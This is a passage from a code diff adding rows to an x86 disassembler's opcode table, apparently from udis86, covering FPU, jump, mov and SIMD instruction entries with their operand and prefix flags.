O_NONE, O_NONE, P_none }, + /* 0647 */ { UD_Ifucom, O_ST7, O_NONE, O_NONE, O_NONE, P_none }, + /* 0648 */ { UD_Ifucomp, O_ST0, O_NONE, O_NONE, O_NONE, P_none }, + /* 0649 */ { UD_Ifucomp, O_ST1, O_NONE, O_NONE, O_NONE, P_none }, + /* 0650 */ { UD_Ifucomp, O_ST2, O_NONE, O_NONE, O_NONE, P_none }, + /* 0651 */ { UD_Ifucomp, O_ST3, O_NONE, O_NONE, O_NONE, P_none }, + /* 0652 */ { UD_Ifucomp, O_ST4, O_NONE, O_NONE, O_NONE, P_none }, + /* 0653 */ { UD_Ifucomp, O_ST5, O_NONE, O_NONE, O_NONE, P_none }, + /* 0654 */ { UD_Ifucomp, O_ST6, O_NONE, O_NONE, O_NONE, P_none }, + /* 0655 */ { UD_Ifucomp, O_ST7, O_NONE, O_NONE, O_NONE, P_none }, + /* 0656 */ { UD_Ifucompp, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0657 */ { UD_Ifxam, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0658 */ { UD_Ifxch, O_ST0, O_ST0, O_NONE, O_NONE, P_none }, + /* 0659 */ { UD_Ifxch, O_ST0, O_ST1, O_NONE, O_NONE, P_none }, + /* 0660 */ { UD_Ifxch, O_ST0, O_ST2, O_NONE, O_NONE, P_none }, + /* 0661 */ { UD_Ifxch, O_ST0, O_ST3, O_NONE, O_NONE, P_none }, + /* 0662 */ { UD_Ifxch, O_ST0, O_ST4, O_NONE, O_NONE, P_none }, + /* 0663 */ { UD_Ifxch, O_ST0, O_ST5, O_NONE, O_NONE, P_none }, + /* 0664 */ { UD_Ifxch, O_ST0, O_ST6, O_NONE, O_NONE, P_none }, + /* 0665 */ { UD_Ifxch, O_ST0, O_ST7, O_NONE, O_NONE, P_none }, + /* 0666 */ { UD_Ifxch4, O_ST0, O_NONE, O_NONE, O_NONE, P_none }, + /* 0667 */ { UD_Ifxch4, O_ST1, O_NONE, O_NONE, O_NONE, P_none }, + /* 0668 */ { UD_Ifxch4, O_ST2, O_NONE, O_NONE, O_NONE, P_none }, + /* 0669 */ { UD_Ifxch4, O_ST3, O_NONE, O_NONE, O_NONE, P_none }, + /* 0670 */ { UD_Ifxch4, O_ST4, O_NONE, O_NONE, O_NONE, P_none }, + /* 0671 */ { UD_Ifxch4, O_ST5, O_NONE, O_NONE, O_NONE, P_none }, + /* 0672 */ { UD_Ifxch4, O_ST6, O_NONE, O_NONE, O_NONE, P_none }, + /* 0673 */ { UD_Ifxch4, O_ST7, O_NONE, O_NONE, O_NONE, P_none }, + /* 0674 */ { UD_Ifxch7, O_ST0, O_NONE, O_NONE, O_NONE, P_none }, + /* 0675 */ { UD_Ifxch7, O_ST1, O_NONE, O_NONE, O_NONE, P_none }, + /* 0676 */ { UD_Ifxch7, O_ST2, O_NONE, O_NONE, O_NONE, P_none }, + /* 0677 */ { UD_Ifxch7, O_ST3, O_NONE, O_NONE, O_NONE, P_none }, + /* 0678 */ { UD_Ifxch7, O_ST4, O_NONE, O_NONE, O_NONE, P_none }, + /* 0679 */ { UD_Ifxch7, O_ST5, O_NONE, O_NONE, O_NONE, P_none }, + /* 0680 */ { UD_Ifxch7, O_ST6, O_NONE, O_NONE, O_NONE, P_none }, + /* 0681 */ { UD_Ifxch7, O_ST7, O_NONE, O_NONE, O_NONE, P_none }, + /* 0682 */ { UD_Ifxrstor, O_M, O_NONE, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0683 */ { UD_Ifxsave, O_M, O_NONE, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0684 */ { UD_Ifxtract, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0685 */ { UD_Ifyl2x, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0686 */ { UD_Ifyl2xp1, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0687 */ { UD_Ihlt, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0688 */ { UD_Iidiv, O_Ev, O_NONE, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0689 */ { UD_Iidiv, O_Eb, O_NONE, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0690 */ { UD_Iin, O_AL, O_Ib, O_NONE, O_NONE, P_none }, + /* 0691 */ { UD_Iin, O_eAX, O_Ib, O_NONE, O_NONE, P_oso }, + /* 0692 */ { UD_Iin, O_AL, O_DX, O_NONE, O_NONE, P_none }, + /* 0693 */ { UD_Iin, O_eAX, O_DX, O_NONE, O_NONE, P_oso }, + /* 0694 */ { UD_Iimul, O_Gv, O_Ev, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0695 */ { UD_Iimul, O_Eb, O_NONE, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0696 */ { UD_Iimul, O_Ev, O_NONE, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0697 */ { UD_Iimul, O_Gv, O_Ev, O_Iz, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0698 */ { UD_Iimul, O_Gv, O_Ev, O_sIb, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0699 */ { UD_Iinc, O_R0z, O_NONE, O_NONE, O_NONE, P_oso }, + /* 0700 */ { UD_Iinc, O_R1z, O_NONE, O_NONE, O_NONE, P_oso }, + /* 0701 */ { UD_Iinc, O_R2z, O_NONE, O_NONE, O_NONE, P_oso }, + /* 0702 */ { UD_Iinc, O_R3z, O_NONE, O_NONE, O_NONE, P_oso }, + /* 0703 */ { UD_Iinc, O_R4z, O_NONE, O_NONE, O_NONE, P_oso }, + /* 0704 */ { UD_Iinc, O_R5z, O_NONE, O_NONE, O_NONE, P_oso }, + /* 0705 */ { UD_Iinc, O_R6z, O_NONE, O_NONE, O_NONE, P_oso }, + /* 0706 */ { UD_Iinc, O_R7z, O_NONE, O_NONE, O_NONE, P_oso }, + /* 0707 */ { UD_Iinc, O_Ev, O_NONE, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0708 */ { UD_Iinc, O_Eb, O_NONE, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0709 */ { UD_Iinsb, O_NONE, O_NONE, O_NONE, O_NONE, P_str|P_seg }, + /* 0710 */ { UD_Iinsw, O_NONE, O_NONE, O_NONE, O_NONE, P_str|P_oso|P_seg }, + /* 0711 */ { UD_Iinsd, O_NONE, O_NONE, O_NONE, O_NONE, P_str|P_oso|P_seg }, + /* 0712 */ { UD_Iint1, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0713 */ { UD_Iint3, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0714 */ { UD_Iint, O_Ib, O_NONE, O_NONE, O_NONE, P_none }, + /* 0715 */ { UD_Iinto, O_NONE, O_NONE, O_NONE, O_NONE, P_inv64 }, + /* 0716 */ { UD_Iinvd, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0717 */ { UD_Iinvept, O_Gd, O_Mo, O_NONE, O_NONE, P_none }, + /* 0718 */ { UD_Iinvept, O_Gq, O_Mo, O_NONE, O_NONE, P_none }, + /* 0719 */ { UD_Iinvlpg, O_M, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0720 */ { UD_Iinvlpga, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0721 */ { UD_Iinvvpid, O_Gd, O_Mo, O_NONE, O_NONE, P_none }, + /* 0722 */ { UD_Iinvvpid, O_Gq, O_Mo, O_NONE, O_NONE, P_none }, + /* 0723 */ { UD_Iiretw, O_NONE, O_NONE, O_NONE, O_NONE, P_oso|P_rexw }, + /* 0724 */ { UD_Iiretd, O_NONE, O_NONE, O_NONE, O_NONE, P_oso|P_rexw }, + /* 0725 */ { UD_Iiretq, O_NONE, O_NONE, O_NONE, O_NONE, P_oso|P_rexw }, + /* 0726 */ { UD_Ijo, O_Jb, O_NONE, O_NONE, O_NONE, P_none }, + /* 0727 */ { UD_Ijo, O_Jz, O_NONE, O_NONE, O_NONE, P_oso|P_def64 }, + /* 0728 */ { UD_Ijno, O_Jb, O_NONE, O_NONE, O_NONE, P_none }, + /* 0729 */ { UD_Ijno, O_Jz, O_NONE, O_NONE, O_NONE, P_oso|P_def64 }, + /* 0730 */ { UD_Ijb, O_Jb, O_NONE, O_NONE, O_NONE, P_none }, + /* 0731 */ { UD_Ijb, O_Jz, O_NONE, O_NONE, O_NONE, P_oso|P_def64 }, + /* 0732 */ { UD_Ijae, O_Jb, O_NONE, O_NONE, O_NONE, P_none }, + /* 0733 */ { UD_Ijae, O_Jz, O_NONE, O_NONE, O_NONE, P_oso|P_def64 }, + /* 0734 */ { UD_Ijz, O_Jb, O_NONE, O_NONE, O_NONE, P_none }, + /* 0735 */ { UD_Ijz, O_Jz, O_NONE, O_NONE, O_NONE, P_oso|P_def64 }, + /* 0736 */ { UD_Ijnz, O_Jb, O_NONE, O_NONE, O_NONE, P_none }, + /* 0737 */ { UD_Ijnz, O_Jz, O_NONE, O_NONE, O_NONE, P_oso|P_def64 }, + /* 0738 */ { UD_Ijbe, O_Jb, O_NONE, O_NONE, O_NONE, P_none }, + /* 0739 */ { UD_Ijbe, O_Jz, O_NONE, O_NONE, O_NONE, P_oso|P_def64 }, + /* 0740 */ { UD_Ija, O_Jb, O_NONE, O_NONE, O_NONE, P_none }, + /* 0741 */ { UD_Ija, O_Jz, O_NONE, O_NONE, O_NONE, P_oso|P_def64 }, + /* 0742 */ { UD_Ijs, O_Jb, O_NONE, O_NONE, O_NONE, P_none }, + /* 0743 */ { UD_Ijs, O_Jz, O_NONE, O_NONE, O_NONE, P_oso|P_def64 }, + /* 0744 */ { UD_Ijns, O_Jb, O_NONE, O_NONE, O_NONE, P_none }, + /* 0745 */ { UD_Ijns, O_Jz, O_NONE, O_NONE, O_NONE, P_oso|P_def64 }, + /* 0746 */ { UD_Ijp, O_Jb, O_NONE, O_NONE, O_NONE, P_none }, + /* 0747 */ { UD_Ijp, O_Jz, O_NONE, O_NONE, O_NONE, P_oso|P_def64 }, + /* 0748 */ { UD_Ijnp, O_Jb, O_NONE, O_NONE, O_NONE, P_none }, + /* 0749 */ { UD_Ijnp, O_Jz, O_NONE, O_NONE, O_NONE, P_oso|P_def64 }, + /* 0750 */ { UD_Ijl, O_Jb, O_NONE, O_NONE, O_NONE, P_none }, + /* 0751 */ { UD_Ijl, O_Jz, O_NONE, O_NONE, O_NONE, P_oso|P_def64 }, + /* 0752 */ { UD_Ijge, O_Jb, O_NONE, O_NONE, O_NONE, P_none }, + /* 0753 */ { UD_Ijge, O_Jz, O_NONE, O_NONE, O_NONE, P_oso|P_def64 }, + /* 0754 */ { UD_Ijle, O_Jb, O_NONE, O_NONE, O_NONE, P_none }, + /* 0755 */ { UD_Ijle, O_Jz, O_NONE, O_NONE, O_NONE, P_oso|P_def64 }, + /* 0756 */ { UD_Ijg, O_Jb, O_NONE, O_NONE, O_NONE, P_none }, + /* 0757 */ { UD_Ijg, O_Jz, O_NONE, O_NONE, O_NONE, P_oso|P_def64 }, + /* 0758 */ { UD_Ijcxz, O_Jb, O_NONE, O_NONE, O_NONE, P_aso }, + /* 0759 */ { UD_Ijecxz, O_Jb, O_NONE, O_NONE, O_NONE, P_aso }, + /* 0760 */ { UD_Ijrcxz, O_Jb, O_NONE, O_NONE, O_NONE, P_aso }, + /* 0761 */ { UD_Ijmp, O_Ev, O_NONE, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb|P_def64 }, + /* 0762 */ { UD_Ijmp, O_Fv, O_NONE, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0763 */ { UD_Ijmp, O_Jz, O_NONE, O_NONE, O_NONE, P_oso|P_def64 }, + /* 0764 */ { UD_Ijmp, O_Av, O_NONE, O_NONE, O_NONE, P_oso }, + /* 0765 */ { UD_Ijmp, O_Jb, O_NONE, O_NONE, O_NONE, P_def64 }, + /* 0766 */ { UD_Ilahf, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0767 */ { UD_Ilar, O_Gv, O_Ew, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0768 */ { UD_Ildmxcsr, O_Md, O_NONE, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0769 */ { UD_Ilds, O_Gv, O_M, O_NONE, O_NONE, P_aso|P_oso }, + /* 0770 */ { UD_Ilea, O_Gv, O_M, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0771 */ { UD_Iles, O_Gv, O_M, O_NONE, O_NONE, P_aso|P_oso }, + /* 0772 */ { UD_Ilfs, O_Gz, O_M, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0773 */ { UD_Ilgs, O_Gz, O_M, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0774 */ { UD_Ilidt, O_M, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0775 */ { UD_Ilss, O_Gv, O_M, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0776 */ { UD_Ileave, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0777 */ { UD_Ilfence, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0778 */ { UD_Ilfence, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0779 */ { UD_Ilfence, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0780 */ { UD_Ilfence, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0781 */ { UD_Ilfence, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0782 */ { UD_Ilfence, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0783 */ { UD_Ilfence, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0784 */ { UD_Ilfence, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0785 */ { UD_Ilgdt, O_M, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0786 */ { UD_Illdt, O_Ew, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0787 */ { UD_Ilmsw, O_Ew, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0788 */ { UD_Ilmsw, O_Ew, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0789 */ { UD_Ilock, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0790 */ { UD_Ilodsb, O_NONE, O_NONE, O_NONE, O_NONE, P_str|P_seg }, + /* 0791 */ { UD_Ilodsw, O_NONE, O_NONE, O_NONE, O_NONE, P_str|P_seg|P_oso|P_rexw }, + /* 0792 */ { UD_Ilodsd, O_NONE, O_NONE, O_NONE, O_NONE, P_str|P_seg|P_oso|P_rexw }, + /* 0793 */ { UD_Ilodsq, O_NONE, O_NONE, O_NONE, O_NONE, P_str|P_seg|P_oso|P_rexw }, + /* 0794 */ { UD_Iloopne, O_Jb, O_NONE, O_NONE, O_NONE, P_none }, + /* 0795 */ { UD_Iloope, O_Jb, O_NONE, O_NONE, O_NONE, P_none }, + /* 0796 */ { UD_Iloop, O_Jb, O_NONE, O_NONE, O_NONE, P_none }, + /* 0797 */ { UD_Ilsl, O_Gv, O_Ew, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0798 */ { UD_Iltr, O_Ew, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0799 */ { UD_Imaskmovq, O_P, O_N, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0800 */ { UD_Imaxpd, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0801 */ { UD_Ivmaxpd, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 0802 */ { UD_Imaxps, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0803 */ { UD_Ivmaxps, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 0804 */ { UD_Imaxsd, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0805 */ { UD_Ivmaxsd, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0806 */ { UD_Imaxss, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0807 */ { UD_Ivmaxss, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0808 */ { UD_Imfence, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0809 */ { UD_Imfence, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0810 */ { UD_Imfence, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0811 */ { UD_Imfence, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0812 */ { UD_Imfence, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0813 */ { UD_Imfence, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0814 */ { UD_Imfence, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0815 */ { UD_Imfence, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0816 */ { UD_Iminpd, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0817 */ { UD_Ivminpd, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 0818 */ { UD_Iminps, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0819 */ { UD_Ivminps, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0820 */ { UD_Iminsd, O_V, O_MqU, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0821 */ { UD_Ivminsd, O_Vx, O_Hx, O_MqU, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0822 */ { UD_Iminss, O_V, O_MdU, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0823 */ { UD_Ivminss, O_Vx, O_Hx, O_MdU, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0824 */ { UD_Imonitor, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0825 */ { UD_Imontmul, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0826 */ { UD_Imov, O_Eb, O_Ib, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0827 */ { UD_Imov, O_Ev, O_sIz, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0828 */ { UD_Imov, O_Eb, O_Gb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0829 */ { UD_Imov, O_Ev, O_Gv, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0830 */ { UD_Imov, O_Gb, O_Eb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0831 */ { UD_Imov, O_Gv, O_Ev, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0832 */ { UD_Imov, O_MwRv, O_S, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0833 */ { UD_Imov, O_S, O_MwRv, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0834 */ { UD_Imov, O_AL, O_Ob, O_NONE, O_NONE, P_none }, + /* 0835 */ { UD_Imov, O_rAX, O_Ov, O_NONE, O_NONE, P_aso|P_oso|P_rexw }, + /* 0836 */ { UD_Imov, O_Ob, O_AL, O_NONE, O_NONE, P_none }, + /* 0837 */ { UD_Imov, O_Ov, O_rAX, O_NONE, O_NONE, P_aso|P_oso|P_rexw }, + /* 0838 */ { UD_Imov, O_R0b, O_Ib, O_NONE, O_NONE, P_rexb }, + /* 0839 */ { UD_Imov, O_R1b, O_Ib, O_NONE, O_NONE, P_rexb }, + /* 0840 */ { UD_Imov, O_R2b, O_Ib, O_NONE, O_NONE, P_rexb }, + /* 0841 */ { UD_Imov, O_R3b, O_Ib, O_NONE, O_NONE, P_rexb }, + /* 0842 */ { UD_Imov, O_R4b, O_Ib, O_NONE, O_NONE, P_rexb }, + /* 0843 */ { UD_Imov, O_R5b, O_Ib, O_NONE, O_NONE, P_rexb }, + /* 0844 */ { UD_Imov, O_R6b, O_Ib, O_NONE, O_NONE, P_rexb }, + /* 0845 */ { UD_Imov, O_R7b, O_Ib, O_NONE, O_NONE, P_rexb }, + /* 0846 */ { UD_Imov, O_R0v, O_Iv, O_NONE, O_NONE, P_oso|P_rexw|P_rexb }, + /* 0847 */ { UD_Imov, O_R1v, O_Iv, O_NONE, O_NONE, P_oso|P_rexw|P_rexb }, + /* 0848 */ { UD_Imov, O_R2v, O_Iv, O_NONE, O_NONE, P_oso|P_rexw|P_rexb }, + /* 0849 */ { UD_Imov, O_R3v, O_Iv, O_NONE, O_NONE, P_oso|P_rexw|P_rexb }, + /* 0850 */ { UD_Imov, O_R4v, O_Iv, O_NONE, O_NONE, P_oso|P_rexw|P_rexb }, + /* 0851 */ { UD_Imov, O_R5v, O_Iv, O_NONE, O_NONE, P_oso|P_rexw|P_rexb }, + /* 0852 */ { UD_Imov, O_R6v, O_Iv, O_NONE, O_NONE, P_oso|P_rexw|P_rexb }, + /* 0853 */ { UD_Imov, O_R7v, O_Iv, O_NONE, O_NONE, P_oso|P_rexw|P_rexb }, + /* 0854 */ { UD_Imov, O_R, O_C, O_NONE, O_NONE, P_rexr|P_rexw|P_rexb }, + /* 0855 */ { UD_Imov, O_R, O_D, O_NONE, O_NONE, P_rexr|P_rexw|P_rexb }, + /* 0856 */ { UD_Imov, O_C, O_R, O_NONE, O_NONE, P_rexr|P_rexw|P_rexb }, + /* 0857 */ { UD_Imov, O_D, O_R, O_NONE, O_NONE, P_rexr|P_rexw|P_rexb }, + /* 0858 */ { UD_Imovapd, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0859 */ { UD_Ivmovapd, O_Vx, O_Wx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 0860 */ { UD_Imovapd, O_W, O_V, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0861 */ { UD_Ivmovapd, O_Wx, O_Vx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 0862 */ { UD_Imovaps, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0863 */ { UD_Ivmovaps, O_Vx, O_Wx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 0864 */ { UD_Imovaps, O_W, O_V, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0865 */ { UD_Ivmovaps, O_Wx, O_Vx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 0866 */ { UD_Imovd, O_P, O_Ey, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0867 */ { UD_Imovd, O_P, O_Ey, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0868 */ { UD_Imovd, O_V, O_Ey, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0869 */ { UD_Ivmovd, O_Vx, O_Ey, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0870 */ { UD_Imovd, O_V, O_Ey, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0871 */ { UD_Ivmovd, O_Vx, O_Ey, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0872 */ { UD_Imovd, O_Ey, O_P, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0873 */ { UD_Imovd, O_Ey, O_P, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0874 */ { UD_Imovd, O_Ey, O_V, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0875 */ { UD_Ivmovd, O_Ey, O_Vx, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0876 */ { UD_Imovd, O_Ey, O_V, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0877 */ { UD_Ivmovd, O_Ey, O_Vx, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0878 */ { UD_Imovhpd, O_V, O_M, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0879 */ { UD_Ivmovhpd, O_Vx, O_Hx, O_M, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0880 */ { UD_Imovhpd, O_M, O_V, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0881 */ { UD_Ivmovhpd, O_M, O_Vx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0882 */ { UD_Imovhps, O_V, O_M, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0883 */ { UD_Ivmovhps, O_Vx, O_Hx, O_M, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0884 */ { UD_Imovhps, O_M, O_V, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0885 */ { UD_Ivmovhps, O_M, O_Vx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0886 */ { UD_Imovlhps, O_V, O_U, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0887 */ { UD_Ivmovlhps, O_Vx, O_Hx, O_Ux, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0888 */ { UD_Imovlpd, O_V, O_M, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0889 */ { UD_Ivmovlpd, O_Vx, O_M, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0890 */ { UD_Imovlpd, O_M, O_V, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0891 */ { UD_Ivmovlpd, O_M, O_Vx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0892 */ { UD_Imovlps, O_V, O_M, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0893 */ { UD_Ivmovlps, O_Vx, O_M, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0894 */ { UD_Imovlps, O_M, O_V, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0895 */ { UD_Ivmovlps, O_M, O_Vx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0896 */ { UD_Imovhlps, O_V, O_U, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0897 */ { UD_Ivmovhlps, O_Vx, O_Ux, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0898 */ { UD_Imovmskpd, O_Gd, O_U, O_NONE, O_NONE, P_oso|P_rexr|P_rexb }, + /* 0899 */ { UD_Ivmovmskpd, O_Gd, O_Ux, O_NONE, O_NONE, P_oso|P_rexr|P_rexb|P_vexl }, + /* 0900 */ { UD_Imovmskps, O_Gd, O_U, O_NONE, O_NONE, P_oso|P_rexr|P_rexb }, + /* 0901 */ { UD_Ivmovmskps, O_Gd, O_Ux, O_NONE, O_NONE, P_oso|P_rexr|P_rexb }, + /* 0902 */ { UD_Imovntdq, O_M, O_V, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0903 */ { UD_Ivmovntdq, O_M, O_Vx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 0904 */ { UD_Imovnti, O_M, O_Gy, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0905 */ { UD_Imovntpd, O_M, O_V, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0906 */ { UD_Ivmovntpd, O_M, O_Vx, O_NONE, 